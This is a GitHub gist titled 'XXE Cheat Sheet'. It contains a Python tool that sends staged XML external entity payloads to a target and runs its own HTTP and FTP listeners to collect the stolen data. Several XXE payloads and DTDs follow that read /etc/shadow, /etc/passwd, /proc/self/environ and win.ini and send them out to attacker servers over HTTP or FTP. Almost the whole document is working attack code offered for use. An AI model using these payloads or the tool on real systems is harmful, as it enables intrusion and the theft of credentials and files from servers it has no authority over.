Skip to content

Instantly share code, notes, and snippets.

@FrankSpierings
Last active November 24, 2018 17:42
Show Gist options
  • Save FrankSpierings/067fc6c55c02b0900bd72f1dbb5597fb to your computer and use it in GitHub Desktop.
Save FrankSpierings/067fc6c55c02b0900bd72f1dbb5597fb to your computer and use it in GitHub Desktop.
XXE Cheat Sheet
import time
import BaseHTTPServer
from urlparse import urlparse, parse_qs
import logging
import threading
import signal
import sys
import requests
import socket
import base64
import readline
import zlib
import bz2
class EXFILMODES:
PASSWORD = 1
URL = 2
URL = 'http://10.10.10.2:1/'
QUERY_PARAM_NAME = 'r'
HTTPHOST = '10.10.10.1'
HTTPPORT = 8080
FTPHOST = '10.10.10.1'
FTPPORT = 2121
RESOURCE_ENCODER = 'php://filter/convert.base64-encode/resource=php://filter/zlib.deflate/resource='
# EXFILMODES.URL or EXFILMODES.PASSWORD
EXFILMODE = EXFILMODES.URL
LOGLEVEL = logging.INFO
# Setup logging
log = logging.getLogger()
logging.basicConfig(format='%(asctime)s - %(levelname)s - %(name)s - %(message)s',
level=logging.DEBUG, datefmt='%I:%M:%S')
log.setLevel(LOGLEVEL)
# Initiator; initiates the XXE OOB request
def initiator(resource):
url = URL
headers = {'Content-Type':'application/xml'}
data = dtd_template_stage_0
data = data.replace('__HTTPHOST__', HTTPHOST)
data = data.replace('__HTTPPORT__', str(HTTPPORT))
data = data.replace('__QUERY_PARAM_NAME__', QUERY_PARAM_NAME)
data = data.replace('__RESOURCE__', resource)
r = requests.post(url, data=data, headers=headers)
log.debug(r.content)
# DTD Templates
dtd_template_stage_0 = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xmlrootname [
<!ENTITY % aaa SYSTEM "http://__HTTPHOST__:__HTTPPORT__/?__QUERY_PARAM_NAME__=__RESOURCE__">
%aaa;
%ccc;
%ddd;
]>'''
dtd_template_stage_1_ftppassword = '''<!ENTITY % bbb SYSTEM "__RESOURCE_ENCODER____PATH__"><!ENTITY % ccc "<!ENTITY &#37; ddd SYSTEM 'ftp://anonymous:%bbb;@__FTPHOST__:__FTPPORT__/'>">'''
dtd_template_stage_1_ftpurl = '''<!ENTITY % bbb SYSTEM "__RESOURCE_ENCODER____PATH__"><!ENTITY % ccc "<!ENTITY &#37; ddd SYSTEM 'ftp://__FTPHOST__:__FTPPORT__/%bbb;'>">'''
class FTPserverThread(threading.Thread):
def __init__(self, conn_addr):
self.log = logging.getLogger('ftpserver')
conn, addr = conn_addr
self.conn = conn
self.addr = addr
threading.Thread.__init__(self)
def decode_data(self):
b64data = self.exfil_data
self.exfil_data = ''
try:
zlibdata = base64.b64decode(b64data)
try:
data = zlib.decompress(zlibdata, -15)
# data = bz2.decompress(zlibdata)
self.log.info("Decoded data below: \n{0}".format(data))
except:
log.error('Could not decompress data: \nBASE64\n{0}\nRAW\n{1}'.format(b64data, repr(zlibdata)))
except:
log.error('Could not decode data')
def run(self):
self.exfil_data = ''
# Exfiltration through the password field
if EXFILMODE == EXFILMODES.PASSWORD:
self.conn.send('220 Welcome!\r\n')
while True:
data = self.conn.recv(4096)
if not data:
break
else:
self.log.debug("FTP: recvd '%s'" % data.strip())
if data.startswith("PASS"):
self.exfil_data = data.replace("PASS ", '').strip()
self.conn.send("230 more data please!\r\n")
elif data.startswith("LIST"):
self.conn.send("drwxrwxrwx 1 owner group 1 Feb 21 04:37 test\r\n")
self.conn.send("150 Opening BINARY mode data connection for /bin/ls\r\n")
self.conn.send("226 Transfer complete.\r\n")
elif data.startswith("USER"):
self.conn.send("331 password please\r\n")
elif data.startswith("PORT"):
self.conn.send("200 PORT command ok\r\n")
elif data.startswith("TYPE"):
self.decode_data()
self.conn.send("230 more data please!\r\n")
elif data.startswith("MDTM"):
# self.decode_data()
self.conn.send("230 more data please!\r\n")
elif data.startswith("SIZE"):
# self.decode_data()
self.conn.send("230 more data please!\r\n")
elif data.startswith("RETR"):
# self.decode_data()
self.conn.send("230 more data please!\r\n")
elif data.startswith("CWD"):
# self.decode_data()
self.conn.send('250 CWD command successful.\r\n\r\n')
else:
self.exfil_data += data.strip()
self.conn.send("230 more data please!\r\n")
# Exfiltration through the url
elif EXFILMODE == EXFILMODES.URL:
self.conn.send('220 Welcome!\r\n')
while True:
data = self.conn.recv(4096)
if not data:
break
else:
self.log.debug("FTP: recvd '%s'" % data.strip())
if data.startswith("PASS"):
self.conn.send("230 more data please!\r\n")
elif data.startswith("LIST"):
self.conn.send("drwxrwxrwx 1 owner group 1 Feb 21 04:37 test\r\n")
self.conn.send("150 Opening BINARY mode data connection for /bin/ls\r\n")
self.conn.send("226 Transfer complete.\r\n")
elif data.startswith("USER"):
self.conn.send("331 password please\r\n")
elif data.startswith("PORT"):
self.conn.send("200 PORT command ok\r\n")
elif data.startswith("TYPE"):
self.conn.send("230 more data please!\r\n")
elif data.startswith("MDTM"):
self.conn.send("230 more data please!\r\n")
elif data.startswith("SIZE"):
self.conn.send("230 more data please!\r\n")
elif data.startswith("RETR"):
self.conn.send("230 more data please!\r\n")
elif data.startswith("CWD"):
self.exfil_data = data.replace("CWD /", '').strip()
self.decode_data()
self.conn.send('250 CWD command successful.\r\n\r\n')
else:
self.exfil_data += data.strip()
self.conn.send("230 more data please!\r\n")
else:
raise RuntimeError("EXFILMODE not correct")
cleanup()
class FTPserver(threading.Thread):
def __init__(self, port):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind(("0.0.0.0", port))
threading.Thread.__init__(self)
def run(self):
self.sock.listen(5)
while True:
th = FTPserverThread(self.sock.accept())
th.daemon = True
th.start()
def stop(self):
self.sock.shutdown()
self.sock.close()
def ftpserver(port):
global ftpd
log.info('Starting FTP server on port {0}'.format(port))
ftpd = FTPserver(port)
ftpd.daemon = True
ftpd.start()
class WebserverHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def do_GET(self):
# Check if a resource was specified
query = parse_qs(urlparse(self.path).query)
if QUERY_PARAM_NAME in query:
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
if EXFILMODE == EXFILMODES.URL:
data = dtd_template_stage_1_ftpurl
elif EXFILMODE == EXFILMODES.PASSWORD:
data = dtd_template_stage_1_ftppassword
else:
raise RuntimeError("EXFILMODE not correct")
data = data.replace('__RESOURCE_ENCODER__', RESOURCE_ENCODER)
data = data.replace('__PATH__', query[QUERY_PARAM_NAME][0])
data = data.replace('__FTPHOST__', FTPHOST)
data = data.replace('__FTPPORT__', str(FTPPORT))
self.wfile.write(data)
else:
self.log_message('Forbidden, no resource specified')
self.send_response(403)
def webserver(port):
global httpd
log.info('Starting HTTP server on port {0}'.format(port))
server_class = BaseHTTPServer.HTTPServer
httpd = server_class(('0.0.0.0', port), WebserverHandler)
thread = threading.Thread(target=httpd.serve_forever)
thread.daemon = True
thread.start()
def cleanup():
global httpd
global ftpd
try:
log.info('Shutting down the webserver')
httpd.shutdown()
httpd.server_close()
except:
pass
try:
log.info('Shutting down the ftpserver')
ftpd.stop()
except:
pass
sys.exit(0)
def signal_handler(signal, frame):
cleanup()
def setup_signal_handler():
signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTERM, signal_handler)
if __name__ == '__main__':
setup_signal_handler()
if EXFILMODE == EXFILMODES.PASSWORD:
log.info('Exfiltrating through password field')
elif EXFILMODE == EXFILMODES.URL:
log.info('Exfiltrating through url')
else:
log.error('Exfiltration method not set correctly')
sys.exit(-1)
webserver(HTTPPORT)
ftpserver(FTPPORT)
while True:
request = raw_input('path: ')
if request != '':
initiator(request)
cleanup()

Variables

  • HTTP_DTD_SERVER = HTTP server that serves ext.dtd
  • HTTP_DTD_SERVER_PORT = Port of the HTTP server that serves ext.dtd
  • HTTP_EXFIL_SERVER = HTTP server that serves for the data exfiltration
  • HTTP_EXFIL_SERVER_PORT = Port of the HTTP that serves for the data exfiltration
  • FTP_EXFIL_SERVER = FTP server that serves for the data exfiltration
  • FTP_EXFIL_SERVER_PORT = Port of the FTP server that serves for the data exfiltration

Vanilla

payload

<?xml version="1.0" ?>
<!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY sp SYSTEM "http://HTTP_DTD_SERVER:HTTP_DTD_SERVER_PORT/">
]>
<r>&sp;</r>

OOB 1

payload

<?xml version="1.0" ?>
<!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://HTTP_DTD_SERVER:HTTP_DTD_SERVER_PORT/ext.dtd">
    %sp;
    %param1;
]>
<r>&exfil;</r>

ext.dtd

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://HTTP_EXFIL_SERVER:HTTP_EXFIL_SERVER_PORT/?%data;'>">

OoB variation (.NET)

payload

<?xml version="1.0" ?>
<!DOCTYPE r [
    <!ELEMENT r ANY >
    <!ENTITY % sp SYSTEM "http://HTTP_DTD_SERVER:HTTP_DTD_SERVER_PORT/ext.dtd">
    %sp;
    %param1;
    %exfil;
]>

ext.dtd

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://HTTP_EXFIL_SERVER:HTTP_EXFIL_SERVER_PORT/?%data;'>">

OoB Extraction

payload

<?xml version="1.0"?>
<!DOCTYPE r [
    <!ENTITY % data SYSTEM "file:///etc/shadow">
    <!ENTITY % sp SYSTEM "http://HTTP_DTD_SERVER:HTTP_DTD_SERVER_PORT/ext.dtd">
    %sp;
    %param1;
    %exfil;
]>

ext.dtd

<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'ftp://FTP_EXFIL_SERVER:FTP_EXFIL_SERVER_PORT/%data;'>">

OOB (extra) error JAVA

payload

<?xml version="1.0"?>
<!DOCTYPE r [
    <!ENTITY % data3 SYSTEM "file:///etc/passwd">
    <!ENTITY % sp SYSTEM "http://HTTP_DTD_SERVER:HTTP_DTD_SERVER_PORT/ext.dtd">
    %sp;
    %param3;
    %exfil;
]>
<r></r>

ext.dtd

<!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "file:///noexist/%payload;">'> %param1; %external;

OOB extra nice

payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % stuff SYSTEM "file:///c:/windows/win.ini">
    <!ENTITY % end "]]>">
    <!ENTITY % dtd SYSTEM "http://HTTP_DTD_SERVER:HTTP_DTD_SERVER_PORT/ext.dtd">
    %dtd;
]>
<root>&all;</root>

ext.dtd

<!ENTITY all "%start;%stuff;%end;">

File-not-found exception based extraction

payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [  
  <!ENTITY % one SYSTEM "http://HTTP_DTD_SERVER:HTTP_DTD_SERVER_PORT/ext.dtd" >
  %one;
  %two;
  %four;
]>

ext.dtd

<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">

8

payload

<?xml version="1.0" ?>
<!DOCTYPE a [ 
    <!ENTITY % asd SYSTEM "http://HTTP_DTD_SERVER:HTTP_DTD_SERVER_PORT/ext.dtd">
    %asd;
    %c;
]>
<a>&rrr;</a>
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://FTP_EXFIL_SERVER:FTP_EXFIL_SERVER_PORT/%d;'>">
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment